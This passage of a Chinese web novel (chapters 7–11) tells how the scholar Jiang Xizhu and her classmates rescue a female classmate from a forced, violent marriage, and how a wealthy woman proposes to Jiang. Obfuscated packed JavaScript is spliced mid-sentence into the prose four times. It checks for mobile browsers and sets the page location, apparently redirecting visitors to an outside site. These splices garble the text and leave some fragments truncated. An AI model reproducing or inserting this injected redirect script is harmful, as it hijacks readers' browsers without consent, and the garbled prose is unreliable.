“你的学问做得极好，尤其解《易》‘利有攸往，中正有庆’一句，写前朝降赋税废酷刑，行清净无为而天下安，是为解而中正之验，妙哉。” “……故而为师对你十分放心，只是自你成为生员后，两次乡试都未能有个好的结果，当真是可惜。” 墨香清幽，夫子的嗓音如清泉击石，江溪竹不自觉心头一震。她想起原身第一次乡试，因父亲去世大受打击而考得一败涂地，守孝三年后再次参加，却因吃坏了肚子不得不遗憾离场。 ……确实是太可惜了。 “古人言，一鼓作气，再而衰，三而竭。今年秋闱在即，你须严阵以待，把握时机，若是再由外因而失利，恐心生畏惧，于前途不利。”何夫子字字句句都是对江溪竹由衷地提点，不知想到什么，她脸上的凝重悄然消失，取而代之的是几分愁绪，“你天分好，又肯吃苦用功，望你能守住本心，万不可因家中琐事动摇了你一心求学的意志。” “学生受教。”江溪竹虽不知所谓的家中琐事指的是什么，但老师教导，她只得老老实实听着。 夫子见她谦虚受教，又在课业上指点了几句，便神情恹恹地打发她出去。江溪竹看了一眼夫子，点点头后向她告辞离去。 沿着翠绿平静的莲花湖边往回走，江溪竹找出了原身关于乡试的记忆。两次失败的原因清楚明了，所以原身都归咎于自己命数不好。 但江溪竹从细枝末节处猜想，或许并不全是原身的问题。比如第一次乡试前两日，原身父亲摔下悬崖，缠绵病榻数日后就因伤重而亡，这其中有奇怪的地方—— 江父是个警惕小心的人，在山上打野味从不去危险的深山，也不招惹猛兽，所以他几乎从不受伤，这也是冯氏放心让他去山上的原因。而怎么就那日不小心跌落深山的悬崖了？细细想来，实在是太巧了。 第二次的科考，就更巧了。 原身为了乡试做足了准备，笔墨纸砚、衣食鞋袜，甚至拿上了冯氏为她做的提神醒脑的药汤，只为了在号舍里正常发挥。可她还是在科考的第二日因为吃了不干净的食物而上吐下泻，根本没有精力再继续考试。 但江溪竹从原身记忆里很清楚地知道，她带去的食物全是由冯氏亲手做的，且都是她平时经常吃的，不存在不干净不适应肠胃的问题。 唯一存在不确定性的地方就是进入号舍前的检查。 所有考生的包裹都会收缴上去，由官府安排的人一一查验后，再重新发放到考生手中。 这期间，如果有人收买查验的人，那么会很容易在食物里做手脚。 江溪竹虽如此猜测，但到底没再深究下去。毕竟她不是原身，科考的结果对她而言并不重要。要在这世界活下去，并非只有科举一条路。 只是冯氏日夜催促，期盼着她能考上举人。而她需要在镇上找代笔的伙计，住在书院里能省下一笔租房子的费用，于她而言很划算，所以她来了这里。既让冯氏放心，又可以在空闲时间挣些银子，两全其美。 回到斋舍里，江溪竹发现旁边的床位上铺上了被褥床单，而另一张床还空着。 她只是看了一眼，便淡漠地收回了视线，回到自己的床位，继续收拾拿出来的衣衫。 身后的竹门吱呀一声打开，轻快的脚步传入耳中，随后一名身穿蓝白长袍的少女同她打了招呼：“虚白啊，你方才去哪儿了？我四处寻不到你人，还以为你被家里人带走了。” 这人是原身的同窗，名唤林岁欢，顺安府人，家里开了个米店，算是不愁吃喝。心地善良的她经常以吃不了太多为由接济原身和另一床的同窗，原身对她很感激，只是原身比较敏感内敛，从不知该怎么表达自己的感谢。 对林岁欢有了个大致了解后，江溪竹拿捏好对她的态度，语气和缓地也与她打了个招呼。 “方才我去找夫子交了课业，又在湖边逛了会儿。”她拿出两块冯氏给她做的玉米馍馍递给林岁欢，“这是家母烙的饼，很好吃，你尝尝看。” 林岁欢接过，咬了一大口，不住口地赞道：“好香，你娘的手艺真好。” 她又往嘴里塞了一口，满足地眯了眯眼，“你娘对你真好，还给你烙饼让你带到书院里来。” 不知是想到了什么，她眼眸里的光泽暗淡不少，有些遗憾地看了眼旁边的床位。 “云卿的家里人就不这样了……” 她口中的云卿说的便是睡另一张床的同窗，与原身关系也很融洽，这会儿还没到书院来。 江溪竹抬眸，朝云卿的床位看去。按理说云卿住的比她们俩都近，应该早早就到了才对，怎么这会儿还没来？ “你不知道她为什么没来？”林岁欢瞧见她眼底的疑惑，叹了口气，语气落寞地解释：“云卿她兄长说了门婚事，但给不出聘礼，所以云卿的爹娘打算把她卖给镇里杀猪的王屠夫，换二十两银子。” “云卿不同意，她那狠心的爹娘就打断了她的腿，把她关在了屋里，就等着大后天的婚礼时送上花轿。” 林岁欢想起午时去看望云卿时，她躺在昏暗的屋子里，蜡黄的烛光照在她的脸上，也没法遮掩她眼底无尽的凄然与寂灭。 而她都已那样难受了，还一脸歉意地跟林岁欢说，帮她誊抄的策论已经被爹娘给烧了，没法给她了，随后艰难地翻身，从缝上的枕芯里掏出偷偷藏下的一吊钱塞给她，让她见谅。 “云卿被打断了腿？”江溪竹的目光顿住，眼底浮现出不可思议的神色，“因为她拒绝了和别人结婚？” 平整的竹床上还留着云卿没带回家的几本书籍，整整齐齐地码放在床头，最上面覆上了一层棉布防尘。想来在年前归家时，她还憧憬着年后回到书院，继续学业。 “我记得她与我们一样大，成年……及笄了，而且还有秀才功名，为何不能自己做主？”大约是江溪竹自打穿到这个世界后，因为秀才身份行事便利，不曾因为女子身份而被轻看践踏，所以她下意识觉得在这个世界里，有功名在身便能有些话语权，不至于身不由己。 “秀才又如何？当今皇后娘娘颁发女子可以参加科举的旨意，也才不到十年，世人大多不看好女子科举，甚至好些激进派认为这一旨意很荒唐，并不愿意承认。”林岁欢坐在床边，耸了耸肩，放空的眸中堆满了许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730896|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈，“所以即便是秀才，女子也很难在自己的事情上做主，尤其是婚姻大事，还是奉行父母之命那一套老古董。除非爹娘疼惜，才会由女儿自己选择。” 原来如此。 江溪竹捂着胸口，感受着里面那颗心缓慢的跳动，一时之间觉得有些窒息得令人难受。 穿越后被她刻意遗忘的前尘往事被林岁欢的几句话勾起，重新浮现在脑海里。它们像是嗡嗡嗡乱飞的苍蝇，随意扑扇的翅膀重重击打在混浊的血肉里，朝着她的记忆深处用力的挤压，让她无法喘息，头痛不已。 “虚白？你怎么了？”林岁欢被她骤然变了的脸色吓到，连忙来到她的身边，担忧地询问。 “我没事。”江溪竹靠在床头，平复着忽然而至的悲凉，任由林岁欢拍着她的肩，“我只是没想到，云卿那样开朗、积极向上的人，会被折磨成这样。” 林岁欢亦有同感，神情流露出几许怅然：“我本想帮她，可她的家里人把她看得很严，我无从下手。而且与她交谈短短几句，我瞧出她已经绝望认命，不再抱有幻想。” 彻底死心的人，很难再生出期盼来。她们会在无尽的黑暗里如失去了意志的行尸走肉般艰难度日，麻木、懦弱、笨拙、自我说服。或许之后的岁月里，再没有一次升起的太阳能照亮她们漆黑的眼。 …… 上学读书是最煎熬的时候，尤其是这两天江溪竹因为那些前尘往事被扰了神思，艰难度日根本无法形容她内心的挣扎。考虑良久，她终于在今日散学后，去了夫子的养正轩。 “刚到书院两日，怎么就要请假了？”何夫子放下了手中的书，不太赞同地看着立在桌边的人，“前两日为师才夸了你在课业上用功，怎么今日就生了懈怠之心？” 江溪竹垂着眼眸，低声解释道：“明日……学生想去看看云卿。” 何夫子怔愣片刻，随后起身抚了抚江溪竹的头，宽慰她的嗓音柔软，流露出些微令人难以察觉的遗憾来，“你、云卿、岁欢是书院内唯三的女学生，同窗五年来，感情深厚。想来知道她有此结果，你也是难过的。” “只是你明日去观礼，她瞧见你，怕是会更难过。” 见夫子误会，江溪竹抬眼，解释道：“不是去观礼。” “我是想帮帮她。” 从前被打压、被关在黑暗的房间里、被当成货物交易的记忆就像是一层层恐怖的蛛网，粘腻的附着在她的每一寸神经上，无所顾忌地四处游走，让她难以继续在这个世界的平静生活里苟延残喘。 她唯一想到的救赎办法，就是去见云卿。或许救下了她，也能救下沉溺在过往痛苦回忆里的自己。 “她的父母同意了婚事，你如何能插手？”何夫子并非没有想过拯救学生，只是世道如此，父母之命人人奉为圭臬，旁人也不能干涉一二。 江溪竹不愿再多说，垂眸拱手说道：“如果她有自救之心，学生会助她一臂之力。所以夫子，您同意我的请假了吗？” 何夫子看不清面前少女的神情，只听得她极低的声音里压抑着复杂的情绪。 “罢了，你去吧。” 也许少年人一身的正气，能驱散黑暗，带来好消息呢？ 谁知道呢。 或许吧。 8. 第 8 章 黄昏的雾霭在低垂的天际袅绕，黑沉沉的浓云如一层灰色的纱蒙在头顶，压抑的阴影笼罩在心头，透着难以言喻的孤寂与沉重。 欢快喜庆的迎亲唢呐由远及近，一行身穿红衣的人簇拥在大红喜轿旁边，随着满面通红的王屠夫停在了谢云卿的家门外。 吃席的人们起哄吆喝着，凑热闹的小孩儿四处乱窜，拍手笑道：“秀才新娘书中仙，屠夫新郎油满肩，握笔不如拿菜刀，娇娇美人在枕边~” 门口的一长串鞭炮被点燃，引线如一条火蛇窜起，火星四溅。连珠炮般的轰鸣像是天雷碾过屋檐，震得耳膜发颤，红纸碎片混着火药味的烟尘漫天飘散。 “接新娘子咯！接新娘子咯！” 胸前裹着大红花的王屠夫大步来到门前，学着读书人一般朝谢家长辈拱了拱手，红光满面地行了个不伦不类的礼。 “岳父岳母，小婿来接娘子了。” 谢家长辈满意地点着头，随后拍了拍长子的肩，吩咐道：“快把你妹妹背出来，别把吉时耽误了。” 王屠夫高兴极了，等新娘的间隙里，散了一把又一把的铜钱，惹得在场所有人都在说谢家福气好，找了这么个大方的女婿。 喜庆热闹的锣鼓一响，一身嫁衣的女人被兄长背在身上，脚不沾地地离开了贴着双喜字的大门。 然而正要起哄欢呼的人们在瞧见女人被粗粗的绳子绑在背后的手后，顿时噤了声，纷纷不可思议地盯着那根绳子，随后一脸复杂地瞥了眼站在大门口，拿袖口抹着眼泪的谢家双亲。 “……原来传言是真的啊，那谢秀才不愿意出嫁。” “谢秀才真的被打断了腿？那她爹娘哭得这样舍不得，是装的呀？” 窸窸窣窣的低语自周围源源不断而来，好面子的王屠夫沉下了脸，直到大舅哥把新娘子背到花轿前，他才勉强笑了笑，满是老茧的大手扶着新娘子，三两下就将那根绳子给解开了，“大好的日子，可不能让娘子不舒服。” “妹夫！这绳子不能解啊！” 大舅哥忙阻止了他，但为时已晚，怀里的女人得了自由，狠狠推开了他。 “天赐！快抓住瑶楠！”谢家双亲顾不得抹泪，三步并作两步来到台阶下，随着谢家大儿抓住了新娘。 “娘知道你舍不得出嫁，但也不能这样胡闹啊！”谢家母死命掐住云卿的手腕，防止她把盖头给掀了，“乖囡囡，别闹了，女婿还等着你回去拜堂！” 可怜云卿伤了腿，跑不远，缚在手上的绳索才解开，又被双亲死死捏住。 “唔！唔！” 原本凑热闹沾喜气的人们已经不再闹腾，好些意味不明地看着这场闹剧，只寥寥几人皱起了眉头，叹息着新娘子命数不好。 “啪！”绳索破空之声传来，穿过看戏的人群，直愣愣地打在了谢家三人身上。 剧烈的疼痛让他们面目狰狞，下意识松开了禁锢着云卿的手。 “谁要坏事？！”王屠夫反应很快，在绳子抽在他身上时侧身避过。 众人随着他的目光四处寻找，随后在飘散的红纸碎片中，一身蓝白长袍的女子拎着绳索，从散开的人群里，走到了云卿的身边。 “是承平书院的人……”这一身白底绣着蓝色竹纹的衣袍是书院里学子们平日里穿的，蒙山镇的人对此很熟悉，所以一眼就认出来了。 “虚白？”脱离了桎梏的云卿掀开盖头，一把扯掉捂在嘴上的布条后，抬眼就瞧见了逆光站在自己身前的人。 江溪竹稍稍侧头，看了一眼她的脸色，只是那上面涂满了艳红的脂粉，什么也瞧不出，“你还好吧？还能走吗？” 方才被家中亲人威胁拿捏，云卿都咬紧了牙关没落一滴泪，可这会儿听见同窗的一句问候，她的眼一瞬间泛红，“我还好，可以走。” “走？”被落了面子的王屠夫沉下了脸，“你是我明媒正娶的娘子，不跟我回家，还想走哪儿去？” 谢家三人站在了王屠夫身侧，警惕又畏惧地看了一眼江溪竹，随后咬牙切齿地威胁着云卿：“今天是你的大喜日子，大家都看着呢，你再闹下去，别怪我把你逐出家门！” 随着这句不留情面的话出口，方才谢家人营造的不舍爱女出嫁的气氛陡然被打破，三人恶狠狠地盯着不老实的云卿，恨不得立马把她抓回来塞进花轿里，但碍于手持长鞭的江溪竹，他们却是不敢上前半步。 “家？”手腕处割伤的疼痛一遍又一遍地提醒着云卿，她今日若是不走，就再没有活下去的希望了，“那不是家，我也不需要这样恶心的家。” 她的腿被打断，没有大夫来看一眼，到现在都站不稳。 她的身上布满了藤条打出的伤痕，浸出的血染上里衣，干了之后死死地粘在翻开的伤口处，轻轻一扯就疼得要命。 她的手腕上有一道深可见骨的伤痕，这是她逃跑无望后，心灰意冷的她摔碎了饭碗，拿了碎瓷片狠狠割伤的。只可惜家里人发现及时，最后她竟是连求死都做不到。 “娘子，我知道你不喜欢你的娘家人，但是我是真的想对你好！”王屠夫摸了摸别在腰间从未离身的杀猪刀，阴沉地盯着挡在云卿前面的江溪竹。 “你让你的同窗让开，今天拜了堂，以后就我跟你好好过日子。” 云卿摇了摇头，敛眉回道：“抱歉，我并不愿意成亲，我想继续读书，以后想……当一名普通的夫子。” 她看着笼在红裙之下依旧能看出畸形的腿，扯动了嘴角，惨然一笑。 朝廷有规定，身有残疾无法科举做官。她以前的梦想，再也无法实现了。 天色如浸了水的宣纸，暗沉的浓云铺展开来，湮没了天边最后一点晚霞。 凑热闹的人群寂静无声，随后不知从哪儿开始，散开了一条路。江溪竹扶着腿脚不便的云卿，慢慢往这条路退去。 “给老子停下！”王屠夫再也忍不了了，管不得什么面子不面子，他一把抽出腰间的杀猪刀，朝着江溪竹的手边砍去，“她是老子的人！” 江溪竹把人护在身后，手中的长鞭一甩，十分精巧地缠在了那把杀猪刀上，再用力一挥，那刀从王屠夫手里脱出，掉在了地上，吓得在最前边围观的人立马往后推搡着。 长鞭再次晃动，精准地自王屠夫的脖颈处往下缠了一圈又一圈，把他禁锢在了原地，再无法动弹。 “她说了，她不愿意嫁给你，你是没听清吗？”江溪竹嗓音低哑，手上用力，那缠在王屠夫身上的绳索继续收缩，他身上的肥肉被挤压突出，整个人看起来像是一条待宰的蠢猪。 “你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730897|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你给……老子……放开……”他扭动着肥硕的身躯，只是每吐出一个字，脖颈就又被收紧一圈，勒得他脸色泛紫，最后连咳嗽都做不到。 周围的人见江溪竹的手段狠辣，又悄悄往后退了几步。 谢家三人又气又急，“你快放开他！出了人命你这个秀才也跑不脱！” 云卿靠在江溪竹的身后，看不见她此刻的神情，只是觉得她孤寂的背影像是孤身于天地间，不管不顾地想要同这不公的世间要个说法。 “虚白……你先放开绳子。”云卿紧紧抓住江溪竹的袖口，试图唤回她的理智，“为了他，搭上你的前途，不值得啊。” “反了！都要反了！”谢爹生怕自家的好女婿被伤了，也顾不得江溪竹的压迫感，从院里抄起一条板凳，就要往江溪竹的身上砸下。 危险的气息一闪而过，江溪竹回过神来，顺手丢下绳索，抓着云卿的手就往身后躲。 “小兔崽子，你真是反了天了！”江溪竹无声的退后给了谢爹自信，他大喊一声，又朝着云卿的方向狠狠砸去。 然而—— “住手！”远处呼啦啦涌来二三十个身穿蓝白长袍的书生，蓝色的绣纹连成了一片青云，冲击着这片天际之下的浓厚黑云。 围观的人为他们散开了一大块地，目不转睛地瞧着他们把谢家人和王屠夫一步一步逼退。 “《元夏律令》有书，逼嫁伤女者，徒一年！”林岁欢高扬着头，手里举着厚厚的书册，书页随风翻动，清幽的墨香吹散了周围的乌烟瘴气。 她身后跟着的几十名书生，也同她一样，高声念出《元夏律令》有关于逼女出嫁的条律：“《元夏律令》有书，逼嫁伤女者，徒一年！” 清朗的声音如海浪撞击礁石，字字铮然，在街道上荡出回响。 周围的人被书生们身上纯粹的无畏给震撼，一时怔愣在原地，长久不语。 江溪竹回头，瞧见林岁欢朝她眨了眨眼，似是无声地回应：“你能来，我自然也能来。” 嘴角不自觉上扬，心口处涌上一阵热流，这感觉就像是有人在她被冻僵时灌进热烈的烧刀子，从喉头一路灼烧到指尖。 林岁欢抬了抬下巴，同江溪竹一左一右站在了云卿的身边，将她紧紧护在身后。 “你别怕，我们这么多人，他们不能拿你怎么样。”她看向热泪盈眶的云卿时，眼神柔软，指腹轻轻擦拭掉那眼角的泪，“你没帮我抄完策论，夫子骂了我，我都没哭，你哭什么。” 云卿隐忍的泪决堤，方才故作的强硬消失不见，在一众同窗面前，似乎又变回了以往书院里那个软弱娇小的普通书生。 “等你回书院了，我还等着你帮我抄书呢。”林岁欢垂下泛红的眼，拍了拍她的肩。 “是啊云卿，书院都开堂好几日了，你不回去，夫子都不高兴了。” “云卿你不知道，没有你给夫子泡茶，夫子都不爱喝茶了。” “还有还有，你不在，每次课业不会做的，我都不敢问其他人。” …… 书生们凑在云卿身边叽叽喳喳说个不停，无声无息地把她围在了中间，形成了一堵坚不可摧的人墙。 “谢谢你们，谢谢你们！”云卿环顾周围一张张熟悉的脸，哽咽着鞠躬道谢。 9. 第 9 章 浓墨般的乌云裂开了缝隙，璀璨的天光如融化的金液，自云间缝隙处倾泻而下，将整条长街镀上了柔和的亮色。 书生们的蓝白长袍上流淌着寸寸日光，将《元夏律令》的纸页浸得透亮，每一个字都像是在火光中重新熔铸过，光芒四射，灼灼亮眼。 谢云卿低垂的头逐渐扬起，模糊的眼眸里似是映着碎光。这不是泪水，是多日来被乌云吞没的星辰，此刻正一颗接一颗地在她眼底复燃。 “你们……你们……”谢家三人气得涨红的脸变得灰白，语气不再如刚才那般底气十足，“我家嫁女是……天经地义的事，你们这群不懂事的书生，难道没有听说过‘宁拆十座庙不拆一桩婚’吗？” 王屠夫攥紧了拳头，但也不敢再靠近被团团围住的云卿。他愤恨地看了一眼始作俑者江溪竹，而后深吸一口气，平复下内心的厌恶，朝着这群书生软了态度：“各位，我和娘子的婚事是由岳父岳母定下的，走了迎亲六礼，合情合理。” “你们被人怂恿，来搅乱婚事，我不怪你们。但是拜堂的时候要到了，你们可不能坏了我和娘子的吉时。” 为了娶回秀才娘子，他可以低一回头，毕竟这门亲事能成，他的脸上有面儿，以后生的娃子脑袋也灵光，好好教导说不定能考个举人…… 林岁欢瞧出了他眼底的贪婪，轻哼一声，说：“律令上写得很清楚，女子同意，亲事才能成。” “方才云卿说得很明白了，她不愿意嫁人，所以这门亲事不成，懂了吗？” 在场所有人都知道数年前皇后娘娘颁发了这道懿旨，只是这儿毕竟天高皇帝远，且女儿家成亲一向都是听从父母之命媒妁之言，故而很多人都没有拿这道旨意当回事。 甚至很多女子自己都对这道旨意有所怀疑，她们在陈旧的思想影响里，不敢反抗，不敢有所期盼。 然而此时此刻，云卿对婚事的拒绝，书生们的鼎力支持，似乎让这道懿旨的内容在人们的心里烙下了深刻的印记。 “咚！”远处的锣鼓敲响，衙门的人迅速来到谢家门前，驱散了围观的一众看客，“不许聚众闹事！” 镇长张成言在衙役的簇拥下，抚着胡须慢慢走到最前面。他扫了一眼周围的人，而后不满地盯着谢家人和王屠夫。 “能结秦晋之好，本是喜事。” “只是闹到如此地步，本官不能坐视不理。谢云卿乃是秀才，如何能伤她至此？即便你们几人是谢云卿的亲族，但依照律法，也该受罚。” 谢家几人看着突然冒出来的衙役，顿时慌了神，“大人……我们只是嫁女儿，她不太听话，就不小心揍了几下，怎么就犯法了呢？” 张成言指了指林岁欢捧在手里的书册，摇了摇头：“林秀才已经说得很清楚了，本官不多赘述。” “现在，把人带回衙门审理。”他指挥着衙役上前，押住谢家三人和王屠夫。 不论他们如何喊叫，张成言不再理会，转而看向一众书生，和气地说：“以后再有这样的事，记得先报官，别闹得太过分了，明白了吗？” 最后安抚了谢云卿几句，又派了几名衙役将这群书生送回书院，才算是松了口气。 回到衙门的路上，师爷不解，问出了心底疑惑：“大人，这只是寻常百姓嫁娶闹出来的事，您何必亲自出面？” “你懂什么？”张成言轻声呵斥，“那些书生从书院里出来给谢云卿撑腰，那肯定是经过了书院夫子同意的。书院夫子如何敢做主同意？必定是有山长授意啊！” “你可别忘了，书院山长是吕文瀚！即便他退下来多年，但依然和京城有联系！要是今日我不出面表个态度帮他护着这群书生，等他把这事上报到京城，我这乌纱帽还要不要了？！” 师爷皱起了眉头：“如此小事，值得吕山长上报到京城？” 张成言轻叹一声，拍了拍师爷的肩，“如今朝廷是皇后娘娘掌权，她颇为看重女子科举一事。这件事说大不大，说小也不小，一旦被朝廷知晓在我管辖之地，出了女秀才被逼嫁，还打断了腿的事，那我这官怕是要做到头了。” 所以书生们出面帮助谢秀才，在张成言看来，便是吕文瀚表了态。 他一向谨慎，如此也只能亲自出面，把他自个儿的态度拿出来，严惩逼嫁伤女之人，不容许再次出现此类恶劣事件。 …… 暮色已经模糊，沉浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林岁欢感觉她像是换了个人一般，又把手放在她眼前晃，“高兴傻了？” 江溪竹嘴角挂着浅笑，一把抓住她的手，轻轻推了她，“你才傻了。还不快睡觉？” 这一夜仿佛极为漫长，浓郁的夜色将不堪的过往淹没，醒来后就是崭新的明天。 10. 第 10 章 “……其他伤都是外伤，养上一段时间就可以了，只是这腿……”镇上的大夫一早就被请到了斋舍，只是她看着云卿畸形的腿，可惜地摇了摇头，“骨头断了后没有接好，已经长歪了，就算是治好了，以后走路也有影响，不会和常人一样了。” 元夏律令有书，身有残疾不可科举。大夫这话算是给云卿的科举之路判了死刑。 周围的空气开始凝固，一旁的林岁欢沉默了下来，她试图缓解氛围，宽慰云卿几句，好让她别太沉溺在悲伤之中。只是扯动的嘴角难以展现出一个浅笑来，眼里铺展开的难过太明显，她最终只得垂下了头。 “你们别这样啊。”反倒是云卿看得开，她拉过林岁欢和江溪竹的手，轻轻晃了晃，柔柔地笑了起来，“我都被你们从火坑里救出来了，我已经很知足了，真的。” 在那个昏暗的屋子里被一棍子打断了腿后，她就已经知道自己无缘科举，无缘仕途了。梦破碎的那一刻，她是真的想过死，在手上划了一道又一道的痕迹。然而她命大，硬生生被救活了。 她以为自己没了所有念想，只能像个麻木的傀儡一样被谢家人送到王屠夫家，过从前她最不想过的生活。 但同窗们在那个模糊的黄昏里出现，用力拉了她一把。 她有了新的希望，已经很满足了。 即便仕途不再，她也……知足了。 “我已经想好了，那个家不回去了，但这里也不能久待了。我想找个私塾当启蒙夫子，就可以养活自己了。”云卿很庆幸自己当年背着家里人考过了院试，有了秀才的功名，不至于让她走到山穷水尽的地步。 “有想法就好。”林岁欢心底悄然松了口气，随后拍了拍她的手，“只是你的伤还要再养一养，这段时间就继续住这里。你不要有负担，夫子说过了，你住多久都可以。” 云卿低声道了一句谢，只是脸上的浅笑有了点苦涩的意味，“我……我想早点赚银子。” 她如今身无分文，在书院里住一两日或许没什么，但时间久了，即便没人说什么，她也觉得不太好。而且昨日同窗们给她凑了医药费，她也想早些赚了银子还给她们。 身为读书人，她有自己的骄傲。就算是一无所有，她也不想成为被人怜悯的可怜虫。 她要活下去，要在阳光底下毫无负担地活下去。 “赚银子也可以不用太辛苦。你就像以前那样，帮我抄录书籍，我给你付银子？”林岁欢仔仔细细帮她想了想，立马就有了头绪，“还有镇上好些人要找代笔，写写书信什么的，虽然银子不多，但积少成多嘛。” 她越想越觉得这个活计不错，开始帮着云卿计划着怎么做了。 “……就这样，你写好了之后，我一起拿出去，把银子换回来，再交给你，你们觉得如何？”她兴致高昂地仰起了头，问了云卿和江溪竹的意见。 江溪竹抿了抿唇，在她期盼的目光里，平静地点了头。 云卿思索片刻，也觉得这是她目前能做的活，随即欢欢喜喜地同林岁欢和江溪竹商议着详细的计划。 “你们看着办，我先去给云卿拿药。”江溪竹拿着大夫开的药方，慢慢走出了书院。 开了春后，正午的阳光有了炙热的意味。 她拿手在眉心搭了个凉棚，无声无息叹了口气。想着既然云卿要做镇上的代笔，那她就得重新想个挣钱的活计了。 难，太难了，大家都太难了。 …… 街道上人来人往，摊贩们高声幺喝叫卖，好不热闹。 江溪竹拿着方子，来到繁华的北街，还未踏进药铺，便被一名圆脸姑娘给拦下了。 “江秀才，可否赏脸去如意居？” 江溪竹看了一会儿，确认不认识这名女子，淡声拒绝了：“抱歉，不太方便。” “我是宋府大小姐的丫鬟。”小丫鬟连忙表明身份，随后更加客气地说道：“我家小姐在如意居包了一桌好菜，想与江秀才您一叙。” 江溪竹的神情茫然了片刻，但想到那盒消除了她额头上疤痕的药膏，她点了点头，示意小丫头带路。 不到一刻钟，两人来到如意居，穿过坐满了人的大厅，江溪竹被引到了三楼。 走进熟悉的包厢，一股浅淡的脂粉香迎面而来，像是雪山里的莲花盛开，飘渺的清幽气息萦绕在周围，让人不自觉细细嗅闻。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我有个疑问……”江溪竹沉默片刻，抬眼看向了对面眉眼柔和的女人，试探性地问：“方才宋小姐说是要帮我把好事做到底。” “那宋小姐你为何要如此帮我？” 11. 第 11 章 窗外微风轻拂，浅浅的日光从半开的窗口探进，茶炉上的银铫子咕噜作响，蒸腾的白雾透过微光，在两人之间织出了一层朦胧的纱。 “这便要提起我要与你说的第二件事了。”宋含玉附身拨弄铫子，一缕乌发自肩头垂落，露出了一小截瓷白的脖颈。 江溪竹不自觉看过去，那缕发梢扫过平直的锁骨，如月牙般，在浅光中散发着不可描述的柔美。 “第二件事，”她悄悄移开视线，却是撞进了女人似笑非笑的美目之中，呼吸骤然顿住。 良久，她找回了自己的声音：“是什么？” 宋含玉盯着她，眸中似有无尽的笑意蔓延，“与我成亲，如何？” 话音落下，江溪竹蓦地瞪圆了双眼，微扩的瞳孔里面藏满了惊诧与难以置信，似乎是在怀疑自己听岔了。 “成……亲？”她哑声问着，声音轻得像是被风吹散的烟，尾音甚至有些发颤。 宋含玉摩挲着茶盏，浅笑道：“两百两银子为聘礼，入赘到我府上，如何？” 这会儿江溪竹听清了，也确认自己没听错。这位漂亮又贵气的宋大小姐，居然真的想和她……成亲。 她的嘴角抿成一条平直的线，原本白皙圆润的脸渐渐染上了一层薄红，警惕之中透露着些许茫然无措的羞赧来，倒是比前几日淡漠的模样看起来真实多了。 “我知你家中还有一位体弱的母亲需要照顾，你与我成亲后，家中的一切都有我来安排，你不必操心，只管潜心读书，为乡试做准备即可。这样，你可愿意？”宋含玉挽着宽大的袖口，嫩白的手腕探出，修长瘦削的指节弯曲，拿着茶壶慢慢倾倒出茶汤来。 袅袅茶烟盘旋，江溪竹看了一眼白雾之后的女人，试图从她的神情里看出些什么来，但那张明媚的脸上依旧挂着得体的笑，什么也瞧不出来。 两百两银子，这笔巨款对于江溪竹和她的母亲来说，省着点用，或许可以用上二三十年了。 这可真是让人无法拒绝的好事啊。 江溪竹承认自己有些可耻地心动了。 只是……她从来没想过结婚，更没想过要和一个女人结婚啊。 “抱歉。”江溪竹闭了闭眼，婉拒了财大气粗又千娇百媚的女人，“我不太愿意。” 随后她起身拿起杯盏，以茶代酒遥遥敬了宋含玉一杯，以表歉意。 “抱歉，今日的茶就喝到这儿，我还有事，先走了。” 她逃得飞快，不到一息时间，就不见了身影。 宋含玉支手撑着头，盯着被拉开后，反复开合的雕花木门，脸上的笑意渐渐收了起来。 “小姐，我看江秀才满脸通红，好像很害羞。”守在门外的云悠走进来，顺手关上了门，她眨了眨眼，悄声问：“她是同意了吗？” “没有。”宋含玉神色平淡，不紧不慢地接过云悠递上的茶盏，浅浅抿了一口，“不急，慢慢来。” 有功名在身，有点傲气，不愿意入赘是正常的，所以要多费些功夫也是常理。 好在这些时日宋老爷和杜家商议的亲事被宋盈给绊住了，她有的是时间来周旋。 …… 江溪竹捡了药，回到书院，先去了一趟养正轩，借了何夫子的药罐子便往斋舍赶去。路过书院堂长的院落时，瞧见堂长的小厮在搬一摞摞的书册，朝他点了点头后侧身避开，却被他叫住：“那个，是江秀才吗？” “怎么了？”江溪竹停下脚步。 小厮挠了挠头，有些不好意思：“能不能麻烦您帮我把这些书搬进屋啊？我看着快下雨了，怕来不及，把书浸湿了……” 江溪竹抬眼看着变得阴沉沉的天，点了点头，将药包和药罐子搁在桌上，开始帮着把晒的书册搬进库房里。 好在剩下的书不多了，来回搬了四五趟，就全都放进库房里了。 “真是太谢谢您了！要不是您帮忙，恐怕最后几本书就要淋雨了。”出门时已经飘起了毛毛细雨，小厮有些后怕地拍了拍胸口，“要不然，我就要挨骂了。” 江溪竹摆了摆手，表示这没什么。 